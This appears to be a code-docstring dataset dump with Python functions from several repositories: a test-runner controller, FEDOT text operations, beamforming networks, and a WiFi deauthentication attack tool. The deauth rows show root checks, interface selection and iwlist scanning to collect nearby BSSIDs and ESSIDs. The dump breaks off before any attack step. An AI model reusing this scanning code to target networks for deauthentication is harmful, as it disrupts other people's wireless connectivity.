body_hash stringlengths 64 64 | body stringlengths 23 109k | docstring stringlengths 1 57k | path stringlengths 4 198 | name stringlengths 1 115 | repository_name stringlengths 7 111 | repository_stars float64 0 191k | lang stringclasses 1 value | body_without_docstring stringlengths 14 108k | unified stringlengths 45 133k |
|---|---|---|---|---|---|---|---|---|---|
bfbd3120c3a4e479d95a487c53d97fb5d52adf22e5eb2d5efc998c6c35ea9111 | def updated(self, text=None):
'Attests that a test case has been updated.'
if text:
self.ui.notice(text)
self.update_num += 1 | Attests that a test case has been updated. | src/pbbt/ctl.py | updated | prometheusresearch/pbbt | 2 | python | def updated(self, text=None):
if text:
self.ui.notice(text)
self.update_num += 1 | def updated(self, text=None):
if text:
self.ui.notice(text)
self.update_num += 1<|docstring|>Attests that a test case has been updated.<|endoftext|> |
df739f134410a215f10afb592fcb976b248e34372ddb77854fb0c6ff239be327 | def halt(self, text=None):
'Halts the testing process.'
if text:
self.ui.error(text)
self.halted = True | Halts the testing process. | src/pbbt/ctl.py | halt | prometheusresearch/pbbt | 2 | python | def halt(self, text=None):
if text:
self.ui.error(text)
self.halted = True | def halt(self, text=None):
if text:
self.ui.error(text)
self.halted = True<|docstring|>Halts the testing process.<|endoftext|> |
48c48235288fed02673c43ca42681dc5e08a9ef97f6db7db1a8998a118a8c214 | def load_input(self, path):
'Loads input test data from the given file.'
return load(path, registry.input_types, self.state) | Loads input test data from the given file. | src/pbbt/ctl.py | load_input | prometheusresearch/pbbt | 2 | python | def load_input(self, path):
return load(path, registry.input_types, self.state) | def load_input(self, path):
return load(path, registry.input_types, self.state)<|docstring|>Loads input test data from the given file.<|endoftext|> |
4bfe36f4f8daf6840f4cd8be13a85004abdaa51f0edf94610a31a20824200126 | def load_output(self, path):
'Loads output test data from the given file.'
return load(path, registry.output_types) | Loads output test data from the given file. | src/pbbt/ctl.py | load_output | prometheusresearch/pbbt | 2 | python | def load_output(self, path):
return load(path, registry.output_types) | def load_output(self, path):
return load(path, registry.output_types)<|docstring|>Loads output test data from the given file.<|endoftext|> |
a06e99a6083369f925185c18c92c6c77654bfb6f26c916776f3243665c07ec84 | def dump_output(self, path, data):
'Saves output test data to the given file.'
return dump(path, data) | Saves output test data to the given file. | src/pbbt/ctl.py | dump_output | prometheusresearch/pbbt | 2 | python | def dump_output(self, path, data):
return dump(path, data) | def dump_output(self, path, data):
return dump(path, data)<|docstring|>Saves output test data to the given file.<|endoftext|> |
3ad910c43c193fd731dc22e7409ee99d2e71ffb150426c4395d4de0305d35855 | def run(self, case):
'Executes a test case.'
return case() | Executes a test case. | src/pbbt/ctl.py | run | prometheusresearch/pbbt | 2 | python | def run(self, case):
return case() | def run(self, case):
return case()<|docstring|>Executes a test case.<|endoftext|> |
d7d134e3b7d0898ebd0255683636bfc23a9457a8b4e0ae43d6d23ae10c3abf1b | def __call__(self, input_path, output_path):
'Runs the testing process with the given input and output.'
input = self.load_input(input_path)
output = None
if ((output_path is not None) and os.path.exists(output_path)):
output = self.load_output(output_path)
if (not input.__complements__(output)):
output = None
case = input.__owner__(self, input, output)
new_output = self.run(case)
line = []
if self.success_num:
line.append(('%s passed' % self.success_num))
if self.update_num:
line.append(('%s updated' % self.update_num))
if self.failure_num:
line.append(('%s FAILED!' % self.failure_num))
line = ', '.join(line)
self.ui.part()
if line:
line = ('TESTS: %s' % line)
if self.failure_num:
self.ui.error(line)
else:
self.ui.notice(line)
if ((output_path is not None) and (new_output is not None) and (new_output != output)):
reply = self.ui.choice(None, ('', 'save changes'), ('d', 'discard changes'))
if (reply == ''):
self.ui.notice(('saving test output to %r' % output_path))
self.dump_output(output_path, new_output)
return int(bool(self.failure_num)) | Runs the testing process with the given input and output. | src/pbbt/ctl.py | __call__ | prometheusresearch/pbbt | 2 | python | def __call__(self, input_path, output_path):
input = self.load_input(input_path)
output = None
if ((output_path is not None) and os.path.exists(output_path)):
output = self.load_output(output_path)
if (not input.__complements__(output)):
output = None
case = input.__owner__(self, input, output)
new_output = self.run(case)
line = []
if self.success_num:
line.append(('%s passed' % self.success_num))
if self.update_num:
line.append(('%s updated' % self.update_num))
if self.failure_num:
line.append(('%s FAILED!' % self.failure_num))
line = ', '.join(line)
self.ui.part()
if line:
line = ('TESTS: %s' % line)
if self.failure_num:
self.ui.error(line)
else:
self.ui.notice(line)
if ((output_path is not None) and (new_output is not None) and (new_output != output)):
reply = self.ui.choice(None, (, 'save changes'), ('d', 'discard changes'))
if (reply == ):
self.ui.notice(('saving test output to %r' % output_path))
self.dump_output(output_path, new_output)
return int(bool(self.failure_num)) | def __call__(self, input_path, output_path):
input = self.load_input(input_path)
output = None
if ((output_path is not None) and os.path.exists(output_path)):
output = self.load_output(output_path)
if (not input.__complements__(output)):
output = None
case = input.__owner__(self, input, output)
new_output = self.run(case)
line = []
if self.success_num:
line.append(('%s passed' % self.success_num))
if self.update_num:
line.append(('%s updated' % self.update_num))
if self.failure_num:
line.append(('%s FAILED!' % self.failure_num))
line = ', '.join(line)
self.ui.part()
if line:
line = ('TESTS: %s' % line)
if self.failure_num:
self.ui.error(line)
else:
self.ui.notice(line)
if ((output_path is not None) and (new_output is not None) and (new_output != output)):
reply = self.ui.choice(None, (, 'save changes'), ('d', 'discard changes'))
if (reply == ):
self.ui.notice(('saving test output to %r' % output_path))
self.dump_output(output_path, new_output)
return int(bool(self.failure_num))<|docstring|>Runs the testing process with the given input and output.<|endoftext|> |
216e325d7ff5e167bab738d5b83f83ca8f82eb70858f60bfb71b407eb744dc85 | @staticmethod
def _convert_to_one_dim(array_with_text):
' Method converts array with text into one-dimensional list\n\n :param array_with_text: numpy array or list with text data\n :return features_list: one-dimensional list with text\n '
features = np.ravel(np.array(array_with_text, dtype=str))
features_list = list(features)
return features_list | Method converts array with text into one-dimensional list
:param array_with_text: numpy array or list with text data
:return features_list: one-dimensional list with text | fedot/core/operations/evaluation/text.py | _convert_to_one_dim | rozlana-g/FEDOT | 358 | python | @staticmethod
def _convert_to_one_dim(array_with_text):
' Method converts array with text into one-dimensional list\n\n :param array_with_text: numpy array or list with text data\n :return features_list: one-dimensional list with text\n '
features = np.ravel(np.array(array_with_text, dtype=str))
features_list = list(features)
return features_list | @staticmethod
def _convert_to_one_dim(array_with_text):
' Method converts array with text into one-dimensional list\n\n :param array_with_text: numpy array or list with text data\n :return features_list: one-dimensional list with text\n '
features = np.ravel(np.array(array_with_text, dtype=str))
features_list = list(features)
return features_list<|docstring|>Method converts array with text into one-dimensional list
:param array_with_text: numpy array or list with text data
:return features_list: one-dimensional list with text<|endoftext|> |
49e57f27a700873c70034b70da8aaffe11a577a9f74b02ac652852472b90060c | def fit(self, train_data: InputData):
'\n This method is used for operation training with the data provided\n\n :param InputData train_data: data used for operation training\n :return: trained model\n '
if self.params:
text_processor = self.text_processor(**self.params_for_fit)
else:
text_processor = self.text_processor()
text_processor.fit(train_data)
return text_processor | This method is used for operation training with the data provided
:param InputData train_data: data used for operation training
:return: trained model | fedot/core/operations/evaluation/text.py | fit | rozlana-g/FEDOT | 358 | python | def fit(self, train_data: InputData):
'\n This method is used for operation training with the data provided\n\n :param InputData train_data: data used for operation training\n :return: trained model\n '
if self.params:
text_processor = self.text_processor(**self.params_for_fit)
else:
text_processor = self.text_processor()
text_processor.fit(train_data)
return text_processor | def fit(self, train_data: InputData):
'\n This method is used for operation training with the data provided\n\n :param InputData train_data: data used for operation training\n :return: trained model\n '
if self.params:
text_processor = self.text_processor(**self.params_for_fit)
else:
text_processor = self.text_processor()
text_processor.fit(train_data)
return text_processor<|docstring|>This method is used for operation training with the data provided
:param InputData train_data: data used for operation training
:return: trained model<|endoftext|> |
23c89a3b53f84f625a7c22a036e8e4dbf3ac0580be8ac7728b1ea1b42d2c47a1 | def predict(self, trained_operation, predict_data: InputData, is_fit_pipeline_stage: bool) -> OutputData:
'\n This method used for prediction of the target data.\n\n :param trained_operation: trained operation object\n :param predict_data: data to predict\n :param is_fit_pipeline_stage: is this fit or predict stage for pipeline\n :return OutputData: passed data with new predicted target\n '
prediction = trained_operation.transform(predict_data, is_fit_pipeline_stage)
converted = self._convert_to_output(prediction, predict_data)
return converted | This method used for prediction of the target data.
:param trained_operation: trained operation object
:param predict_data: data to predict
:param is_fit_pipeline_stage: is this fit or predict stage for pipeline
:return OutputData: passed data with new predicted target | fedot/core/operations/evaluation/text.py | predict | rozlana-g/FEDOT | 358 | python | def predict(self, trained_operation, predict_data: InputData, is_fit_pipeline_stage: bool) -> OutputData:
'\n This method used for prediction of the target data.\n\n :param trained_operation: trained operation object\n :param predict_data: data to predict\n :param is_fit_pipeline_stage: is this fit or predict stage for pipeline\n :return OutputData: passed data with new predicted target\n '
prediction = trained_operation.transform(predict_data, is_fit_pipeline_stage)
converted = self._convert_to_output(prediction, predict_data)
return converted | def predict(self, trained_operation, predict_data: InputData, is_fit_pipeline_stage: bool) -> OutputData:
'\n This method used for prediction of the target data.\n\n :param trained_operation: trained operation object\n :param predict_data: data to predict\n :param is_fit_pipeline_stage: is this fit or predict stage for pipeline\n :return OutputData: passed data with new predicted target\n '
prediction = trained_operation.transform(predict_data, is_fit_pipeline_stage)
converted = self._convert_to_output(prediction, predict_data)
return converted<|docstring|>This method used for prediction of the target data.
:param trained_operation: trained operation object
:param predict_data: data to predict
:param is_fit_pipeline_stage: is this fit or predict stage for pipeline
:return OutputData: passed data with new predicted target<|endoftext|> |
fc3e0b094c9fe5c66adc9d9e58679aea97dbf0ee2b180c97276cf22e1b9ed0c7 | def forward(self, inpt):
'\n inpt: (B,T,F,M,2)\n '
inv_Phi_yy = self.inv_module(inpt)
(b_size, seq_len, freq_num, M, _) = inpt.shape
inpt1 = inpt.view(b_size, seq_len, freq_num, (- 1)).permute(0, 3, 1, 2).contiguous()
(en_x, en_list) = self.en(inpt1)
en_x = en_x.transpose((- 2), (- 1)).contiguous().view(b_size, (- 1), seq_len)
acc_x = Variable(torch.zeros_like(en_x), requires_grad=True).to(en_x.device)
x = en_x
for i in range(len(self.tcns)):
x = self.tcns[i](x)
acc_x = (acc_x + x)
x = acc_x
x = x.view(b_size, 64, 4, seq_len).transpose((- 2), (- 1)).contiguous()
Vec_Ys = self.de(inpt, x, en_list)
inpt_complex = ComplexTensor(inpt[(..., 0)], inpt[(..., (- 1))])
inv_Phi_yy_complex = ComplexTensor(inv_Phi_yy[(..., 0)], inv_Phi_yy[(..., (- 1))])
Vec_Ys_complex = ComplexTensor(Vec_Ys[(..., 0)], Vec_Ys[(..., (- 1))])
mcwf_bf_complex = F.einsum('...mn,...p->...m', [inv_Phi_yy_complex, Vec_Ys_complex])
bf_x_complex = F.einsum('...m,...n->...', [mcwf_bf_complex.conj(), inpt_complex])
bf_x = torch.stack((bf_x_complex.real, bf_x_complex.imag), dim=(- 1))
return bf_x | inpt: (B,T,F,M,2) | nets/GeneralizedWF.py | forward | Andong-Li-speech/TaylorBeamformer | 4 | python | def forward(self, inpt):
'\n \n '
inv_Phi_yy = self.inv_module(inpt)
(b_size, seq_len, freq_num, M, _) = inpt.shape
inpt1 = inpt.view(b_size, seq_len, freq_num, (- 1)).permute(0, 3, 1, 2).contiguous()
(en_x, en_list) = self.en(inpt1)
en_x = en_x.transpose((- 2), (- 1)).contiguous().view(b_size, (- 1), seq_len)
acc_x = Variable(torch.zeros_like(en_x), requires_grad=True).to(en_x.device)
x = en_x
for i in range(len(self.tcns)):
x = self.tcns[i](x)
acc_x = (acc_x + x)
x = acc_x
x = x.view(b_size, 64, 4, seq_len).transpose((- 2), (- 1)).contiguous()
Vec_Ys = self.de(inpt, x, en_list)
inpt_complex = ComplexTensor(inpt[(..., 0)], inpt[(..., (- 1))])
inv_Phi_yy_complex = ComplexTensor(inv_Phi_yy[(..., 0)], inv_Phi_yy[(..., (- 1))])
Vec_Ys_complex = ComplexTensor(Vec_Ys[(..., 0)], Vec_Ys[(..., (- 1))])
mcwf_bf_complex = F.einsum('...mn,...p->...m', [inv_Phi_yy_complex, Vec_Ys_complex])
bf_x_complex = F.einsum('...m,...n->...', [mcwf_bf_complex.conj(), inpt_complex])
bf_x = torch.stack((bf_x_complex.real, bf_x_complex.imag), dim=(- 1))
return bf_x | def forward(self, inpt):
'\n \n '
inv_Phi_yy = self.inv_module(inpt)
(b_size, seq_len, freq_num, M, _) = inpt.shape
inpt1 = inpt.view(b_size, seq_len, freq_num, (- 1)).permute(0, 3, 1, 2).contiguous()
(en_x, en_list) = self.en(inpt1)
en_x = en_x.transpose((- 2), (- 1)).contiguous().view(b_size, (- 1), seq_len)
acc_x = Variable(torch.zeros_like(en_x), requires_grad=True).to(en_x.device)
x = en_x
for i in range(len(self.tcns)):
x = self.tcns[i](x)
acc_x = (acc_x + x)
x = acc_x
x = x.view(b_size, 64, 4, seq_len).transpose((- 2), (- 1)).contiguous()
Vec_Ys = self.de(inpt, x, en_list)
inpt_complex = ComplexTensor(inpt[(..., 0)], inpt[(..., (- 1))])
inv_Phi_yy_complex = ComplexTensor(inv_Phi_yy[(..., 0)], inv_Phi_yy[(..., (- 1))])
Vec_Ys_complex = ComplexTensor(Vec_Ys[(..., 0)], Vec_Ys[(..., (- 1))])
mcwf_bf_complex = F.einsum('...mn,...p->...m', [inv_Phi_yy_complex, Vec_Ys_complex])
bf_x_complex = F.einsum('...m,...n->...', [mcwf_bf_complex.conj(), inpt_complex])
bf_x = torch.stack((bf_x_complex.real, bf_x_complex.imag), dim=(- 1))
return bf_x<|docstring|>inpt: (B,T,F,M,2)<|endoftext|> |
54cd2ba92c18bfac9136bc19f6d1c57e22971209d5e97bc1cf1771426f1253b9 | def forward(self, inpt):
'\n inpt: (B,T,F,M,2)\n return: (B,T,F,M,M,2)\n '
(b_size, seq_len, freq_num, M, _) = inpt.shape
inpt_complex = ComplexTensor(inpt[(..., 0)], inpt[(..., (- 1))])
inpt_cov = F.einsum('...m,...n->...mn', [inpt_complex.conj(), inpt_complex])
inpt_cov = inpt_cov.view(b_size, seq_len, freq_num, (- 1))
inpt_cov = torch.cat((inpt_cov.real, inpt_cov.imag), dim=(- 1))
inpt_cov = self.norm(inpt_cov)
inpt_cov = inpt_cov.transpose(1, 2).contiguous().view((b_size * freq_num), seq_len, (- 1))
(h, _) = self.rnn(inpt_cov)
inv_cov = self.w_dnn(h)
inv_cov = inv_cov.view(b_size, freq_num, seq_len, M, M, 2)
return inv_cov.transpose(1, 2).contiguous() | inpt: (B,T,F,M,2)
return: (B,T,F,M,M,2) | nets/GeneralizedWF.py | forward | Andong-Li-speech/TaylorBeamformer | 4 | python | def forward(self, inpt):
'\n inpt: (B,T,F,M,2)\n return: (B,T,F,M,M,2)\n '
(b_size, seq_len, freq_num, M, _) = inpt.shape
inpt_complex = ComplexTensor(inpt[(..., 0)], inpt[(..., (- 1))])
inpt_cov = F.einsum('...m,...n->...mn', [inpt_complex.conj(), inpt_complex])
inpt_cov = inpt_cov.view(b_size, seq_len, freq_num, (- 1))
inpt_cov = torch.cat((inpt_cov.real, inpt_cov.imag), dim=(- 1))
inpt_cov = self.norm(inpt_cov)
inpt_cov = inpt_cov.transpose(1, 2).contiguous().view((b_size * freq_num), seq_len, (- 1))
(h, _) = self.rnn(inpt_cov)
inv_cov = self.w_dnn(h)
inv_cov = inv_cov.view(b_size, freq_num, seq_len, M, M, 2)
return inv_cov.transpose(1, 2).contiguous() | def forward(self, inpt):
'\n inpt: (B,T,F,M,2)\n return: (B,T,F,M,M,2)\n '
(b_size, seq_len, freq_num, M, _) = inpt.shape
inpt_complex = ComplexTensor(inpt[(..., 0)], inpt[(..., (- 1))])
inpt_cov = F.einsum('...m,...n->...mn', [inpt_complex.conj(), inpt_complex])
inpt_cov = inpt_cov.view(b_size, seq_len, freq_num, (- 1))
inpt_cov = torch.cat((inpt_cov.real, inpt_cov.imag), dim=(- 1))
inpt_cov = self.norm(inpt_cov)
inpt_cov = inpt_cov.transpose(1, 2).contiguous().view((b_size * freq_num), seq_len, (- 1))
(h, _) = self.rnn(inpt_cov)
inv_cov = self.w_dnn(h)
inv_cov = inv_cov.view(b_size, freq_num, seq_len, M, M, 2)
return inv_cov.transpose(1, 2).contiguous()<|docstring|>inpt: (B,T,F,M,2)
return: (B,T,F,M,M,2)<|endoftext|> |
7f0bd87272dd362b1d88edad87f6c9c5c2fe1d5e2e236620d9252dc473cf9576 | def forward(self, inpt: Tensor, x: Tensor, en_list: list):
'\n inpt: (B,T,F,M,2)\n return: (B,T,F,M,2)\n '
(b_size, seq_len, freq_num, _, _) = inpt.shape
if (self.inter_connect == 'add'):
for i in range(len(self.unet_list)):
tmp = (x + en_list[(- (i + 1))])
x = self.unet_list[i](tmp)
elif (self.inter_connect == 'cat'):
for i in range(len(self.unet_list)):
tmp = torch.cat((x, en_list[(- (i + 1))]), dim=1)
x = self.unet_list[i](tmp)
else:
raise Exception('only add and cat are supported')
if (self.out_type == 'mask'):
gain = torch.stack((self.out_r(x).squeeze(dim=1), self.out_i(x).squeeze(dim=1)), dim=(- 1))
ref_inpt = inpt[(..., 0, :)]
Yy = complex_mul(inpt, complex_conj(ref_inpt[(..., None, :)]))
out = complex_mul(complex_conj(gain[(..., None, :)]), Yy)
elif (self.out_type == 'mapping'):
map = torch.stack((self.out_r(x).squeeze(dim=1), self.out_i(x).squeeze(dim=1)), dim=(- 1))
out = complex_mul(inpt, complex_conj(map[(..., None, :)]))
else:
raise Exception('only mask and mapping are supported')
return out | inpt: (B,T,F,M,2)
return: (B,T,F,M,2) | nets/GeneralizedWF.py | forward | Andong-Li-speech/TaylorBeamformer | 4 | python | def forward(self, inpt: Tensor, x: Tensor, en_list: list):
'\n inpt: (B,T,F,M,2)\n return: (B,T,F,M,2)\n '
(b_size, seq_len, freq_num, _, _) = inpt.shape
if (self.inter_connect == 'add'):
for i in range(len(self.unet_list)):
tmp = (x + en_list[(- (i + 1))])
x = self.unet_list[i](tmp)
elif (self.inter_connect == 'cat'):
for i in range(len(self.unet_list)):
tmp = torch.cat((x, en_list[(- (i + 1))]), dim=1)
x = self.unet_list[i](tmp)
else:
raise Exception('only add and cat are supported')
if (self.out_type == 'mask'):
gain = torch.stack((self.out_r(x).squeeze(dim=1), self.out_i(x).squeeze(dim=1)), dim=(- 1))
ref_inpt = inpt[(..., 0, :)]
Yy = complex_mul(inpt, complex_conj(ref_inpt[(..., None, :)]))
out = complex_mul(complex_conj(gain[(..., None, :)]), Yy)
elif (self.out_type == 'mapping'):
map = torch.stack((self.out_r(x).squeeze(dim=1), self.out_i(x).squeeze(dim=1)), dim=(- 1))
out = complex_mul(inpt, complex_conj(map[(..., None, :)]))
else:
raise Exception('only mask and mapping are supported')
return out | def forward(self, inpt: Tensor, x: Tensor, en_list: list):
'\n inpt: (B,T,F,M,2)\n return: (B,T,F,M,2)\n '
(b_size, seq_len, freq_num, _, _) = inpt.shape
if (self.inter_connect == 'add'):
for i in range(len(self.unet_list)):
tmp = (x + en_list[(- (i + 1))])
x = self.unet_list[i](tmp)
elif (self.inter_connect == 'cat'):
for i in range(len(self.unet_list)):
tmp = torch.cat((x, en_list[(- (i + 1))]), dim=1)
x = self.unet_list[i](tmp)
else:
raise Exception('only add and cat are supported')
if (self.out_type == 'mask'):
gain = torch.stack((self.out_r(x).squeeze(dim=1), self.out_i(x).squeeze(dim=1)), dim=(- 1))
ref_inpt = inpt[(..., 0, :)]
Yy = complex_mul(inpt, complex_conj(ref_inpt[(..., None, :)]))
out = complex_mul(complex_conj(gain[(..., None, :)]), Yy)
elif (self.out_type == 'mapping'):
map = torch.stack((self.out_r(x).squeeze(dim=1), self.out_i(x).squeeze(dim=1)), dim=(- 1))
out = complex_mul(inpt, complex_conj(map[(..., None, :)]))
else:
raise Exception('only mask and mapping are supported')
return out<|docstring|>inpt: (B,T,F,M,2)
return: (B,T,F,M,2)<|endoftext|> |
edfbd0578e5421536e8473ce348bd78b5dd78a2268d3e8c86a8974b122718fa6 | def forward(self, inpt: Tensor, x: Tensor, en_list: list):
'\n inpt: (B,T,F,M,2)\n return: (B,T,F,M,2)\n '
(b_size, seq_len, freq_num, M, _) = inpt.shape
if (self.inter_connect == 'add'):
for i in range(len(self.meta_unet_list)):
tmp = (x + en_list[(- (i + 1))])
x = self.meta_unet_list[i](tmp)
elif (self.inter_connect == 'cat'):
for i in range(len(self.meta_unet_list)):
tmp = torch.cat((x, en_list[(- (i + 1))]), dim=1)
x = self.meta_unet_list[i](tmp)
else:
raise Exception('only add and cat are supported')
if (self.out_type == 'mask'):
gain = torch.stack((self.out_r(x).squeeze(dim=1), self.out_i(x).squeeze(dim=1)), dim=(- 1))
ref_inpt = inpt[(..., 0, :)]
Yy = complex_mul(inpt, complex_conj(ref_inpt[(..., None, :)]))
out = complex_mul(complex_conj(gain[(..., None, :)]), Yy)
elif (self.out_type == 'mapping'):
map = torch.stack((self.out_r(x).squeeze(dim=1), self.out_i(x).squeeze(dim=1)), dim=(- 1))
out = complex_mul(inpt, complex_conj(map[(..., None, :)]))
else:
raise Exception('only mask and mapping are supported')
return out | inpt: (B,T,F,M,2)
return: (B,T,F,M,2) | nets/GeneralizedWF.py | forward | Andong-Li-speech/TaylorBeamformer | 4 | python | def forward(self, inpt: Tensor, x: Tensor, en_list: list):
'\n inpt: (B,T,F,M,2)\n return: (B,T,F,M,2)\n '
(b_size, seq_len, freq_num, M, _) = inpt.shape
if (self.inter_connect == 'add'):
for i in range(len(self.meta_unet_list)):
tmp = (x + en_list[(- (i + 1))])
x = self.meta_unet_list[i](tmp)
elif (self.inter_connect == 'cat'):
for i in range(len(self.meta_unet_list)):
tmp = torch.cat((x, en_list[(- (i + 1))]), dim=1)
x = self.meta_unet_list[i](tmp)
else:
raise Exception('only add and cat are supported')
if (self.out_type == 'mask'):
gain = torch.stack((self.out_r(x).squeeze(dim=1), self.out_i(x).squeeze(dim=1)), dim=(- 1))
ref_inpt = inpt[(..., 0, :)]
Yy = complex_mul(inpt, complex_conj(ref_inpt[(..., None, :)]))
out = complex_mul(complex_conj(gain[(..., None, :)]), Yy)
elif (self.out_type == 'mapping'):
map = torch.stack((self.out_r(x).squeeze(dim=1), self.out_i(x).squeeze(dim=1)), dim=(- 1))
out = complex_mul(inpt, complex_conj(map[(..., None, :)]))
else:
raise Exception('only mask and mapping are supported')
return out | def forward(self, inpt: Tensor, x: Tensor, en_list: list):
'\n inpt: (B,T,F,M,2)\n return: (B,T,F,M,2)\n '
(b_size, seq_len, freq_num, M, _) = inpt.shape
if (self.inter_connect == 'add'):
for i in range(len(self.meta_unet_list)):
tmp = (x + en_list[(- (i + 1))])
x = self.meta_unet_list[i](tmp)
elif (self.inter_connect == 'cat'):
for i in range(len(self.meta_unet_list)):
tmp = torch.cat((x, en_list[(- (i + 1))]), dim=1)
x = self.meta_unet_list[i](tmp)
else:
raise Exception('only add and cat are supported')
if (self.out_type == 'mask'):
gain = torch.stack((self.out_r(x).squeeze(dim=1), self.out_i(x).squeeze(dim=1)), dim=(- 1))
ref_inpt = inpt[(..., 0, :)]
Yy = complex_mul(inpt, complex_conj(ref_inpt[(..., None, :)]))
out = complex_mul(complex_conj(gain[(..., None, :)]), Yy)
elif (self.out_type == 'mapping'):
map = torch.stack((self.out_r(x).squeeze(dim=1), self.out_i(x).squeeze(dim=1)), dim=(- 1))
out = complex_mul(inpt, complex_conj(map[(..., None, :)]))
else:
raise Exception('only mask and mapping are supported')
return out<|docstring|>inpt: (B,T,F,M,2)
return: (B,T,F,M,2)<|endoftext|> |
0f38d2294ac4c26a5049258b371f3aadedd9a1140633ee32f65036031aa4ae69 | @staticmethod
def is_root():
'\n Checks if program is running as root or not\n '
if (os.geteuid() != 0):
colors.error('Please run as root')
sys.exit(1)
else:
colors.success('Running as root') | Checks if program is running as root or not | src/lib/attacks/deauth/deauth_attack.py | is_root | FrancescoPenasa/vault_scanner | 230 | python | @staticmethod
def is_root():
'\n \n '
if (os.geteuid() != 0):
colors.error('Please run as root')
sys.exit(1)
else:
colors.success('Running as root') | @staticmethod
def is_root():
'\n \n '
if (os.geteuid() != 0):
colors.error('Please run as root')
sys.exit(1)
else:
colors.success('Running as root')<|docstring|>Checks if program is running as root or not<|endoftext|> |
0eb55037a4afba4cf7b3e6a3dab0a52586b2486797dd6779e6b8da5211ba9585 | @staticmethod
def getInterface():
'\n Collects all the interfaces\n '
colors.info('Collecting all the interfaces')
p = subprocess.Popen(['ifconfig'], shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(output, error) = p.communicate()
if error:
print(error.decode('utf-8'))
sys.exit(1)
output = output.decode('utf-8')
interfaces = re.findall('(.*): ', output)
total_index = 0
print(('*' * 25))
print('Index'.ljust(8, ' '), '|', ' Interface '.ljust(12, ' '), '|')
print(('*' * 25))
for (index, interface) in enumerate(interfaces):
print(index, ' '.ljust(5), ' | ', interface.ljust(11, ' '), '|')
total_index = (total_index + 1)
print(('-' * 25))
intf = (- 1)
while ((intf > total_index) or (intf < 0)):
intf = int(input('\n>> Enter the index of the interface : ').strip())
colors.info('Selected interface is : {}'.format(interfaces[intf]))
return interfaces[intf] | Collects all the interfaces | src/lib/attacks/deauth/deauth_attack.py | getInterface | FrancescoPenasa/vault_scanner | 230 | python | @staticmethod
def getInterface():
'\n \n '
colors.info('Collecting all the interfaces')
p = subprocess.Popen(['ifconfig'], shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(output, error) = p.communicate()
if error:
print(error.decode('utf-8'))
sys.exit(1)
output = output.decode('utf-8')
interfaces = re.findall('(.*): ', output)
total_index = 0
print(('*' * 25))
print('Index'.ljust(8, ' '), '|', ' Interface '.ljust(12, ' '), '|')
print(('*' * 25))
for (index, interface) in enumerate(interfaces):
print(index, ' '.ljust(5), ' | ', interface.ljust(11, ' '), '|')
total_index = (total_index + 1)
print(('-' * 25))
intf = (- 1)
while ((intf > total_index) or (intf < 0)):
intf = int(input('\n>> Enter the index of the interface : ').strip())
colors.info('Selected interface is : {}'.format(interfaces[intf]))
return interfaces[intf] | @staticmethod
def getInterface():
'\n \n '
colors.info('Collecting all the interfaces')
p = subprocess.Popen(['ifconfig'], shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(output, error) = p.communicate()
if error:
print(error.decode('utf-8'))
sys.exit(1)
output = output.decode('utf-8')
interfaces = re.findall('(.*): ', output)
total_index = 0
print(('*' * 25))
print('Index'.ljust(8, ' '), '|', ' Interface '.ljust(12, ' '), '|')
print(('*' * 25))
for (index, interface) in enumerate(interfaces):
print(index, ' '.ljust(5), ' | ', interface.ljust(11, ' '), '|')
total_index = (total_index + 1)
print(('-' * 25))
intf = (- 1)
while ((intf > total_index) or (intf < 0)):
intf = int(input('\n>> Enter the index of the interface : ').strip())
colors.info('Selected interface is : {}'.format(interfaces[intf]))
return interfaces[intf]<|docstring|>Collects all the interfaces<|endoftext|> |
e90692bcf600df1729032762587e1edff98a2c02a7ab3aa266ead381d7b3c7ca | @staticmethod
def monitorWifi(intf):
'\n Monitor all the nearby WiFi devices\n and collect their BSSID, ESSID\n '
t1 = time.time()
BSSID = []
ESSID = []
command = "iwlist {} scanning | egrep 'Cell | ESSID'".format(intf)
for current_scan in range(5):
print('Started scan : {}, Total : 5'.format(current_scan), end='\r')
output = subprocess.check_output(command, shell=True)
output = output.decode('utf-8')
found_bssid = re.findall('Address:(.*)', output)
found_essid = re.findall('ESSID:(.*)', output)
for bssid in found_bssid:
if (bssid not in BSSID):
BSSID.append(bssid)
for essid in found_essid:
if (essid not in ESSID):
ESSID.append(essid)
if (len(BSSID) == len(ESSID)):
t2 = time.time()
print('Scanning completed in : {}\n'.format((t2 - t1)))
return (BSSID, ESSID)
else:
colors.error('Something went wrong, try again...')
sys.exit(1) | Monitor all the nearby WiFi devices
and collect their BSSID, ESSID | src/lib/attacks/deauth/deauth_attack.py | monitorWifi | FrancescoPenasa/vault_scanner | 230 | python | @staticmethod
def monitorWifi(intf):
'\n Monitor all the nearby WiFi devices\n and collect their BSSID, ESSID\n '
t1 = time.time()
BSSID = []
ESSID = []
command = "iwlist {} scanning | egrep 'Cell | ESSID'".format(intf)
for current_scan in range(5):
print('Started scan : {}, Total : 5'.format(current_scan), end='\r')
output = subprocess.check_output(command, shell=True)
output = output.decode('utf-8')
found_bssid = re.findall('Address:(.*)', output)
found_essid = re.findall('ESSID:(.*)', output)
for bssid in found_bssid:
if (bssid not in BSSID):
BSSID.append(bssid)
for essid in found_essid:
if (essid not in ESSID):
ESSID.append(essid)
if (len(BSSID) == len(ESSID)):
t2 = time.time()
print('Scanning completed in : {}\n'.format((t2 - t1)))
return (BSSID, ESSID)
else:
colors.error('Something went wrong, try again...')
sys.exit(1) | @staticmethod
def monitorWifi(intf):
'\n Monitor all the nearby WiFi devices\n and collect their BSSID, ESSID\n '
t1 = time.time()
BSSID = []
ESSID = []
command = "iwlist {} scanning | egrep 'Cell | ESSID'".format(intf)
for current_scan in range(5):
print('Started scan : {}, Total : 5'.format(current_scan), end='\r')
output = subprocess.check_output(command, shell=True)
output = output.decode('utf-8')
found_bssid = re.findall('Address:(.*)', output)
found_essid = re.findall('ESSID:(.*)', output)
for bssid in found_bssid:
if (bssid not in BSSID):
BSSID.append(bssid)
for essid in found_essid:
if (essid not in ESSID):
ESSID.append(essid)
if (len(BSSID) == len(ESSID)):
t2 = time.time()
print('Scanning completed in : {}\n'.format((t2 - t1)))
return (BSSID, ESSID)
else:
colors.error('Something went wrong, try again...')
sys.exit(1)<|docstring|>Monitor all the nearby WiFi devices
and collect their BSSID, ESSID<|endoftext|> |
66f2feb45d1a708621ccb14701a1cf5b5e6db7fbcf62ebe217615d75c4fe6519 | @staticmethod
def quickExecute(command):
'\n Quickly execute small commands\n '
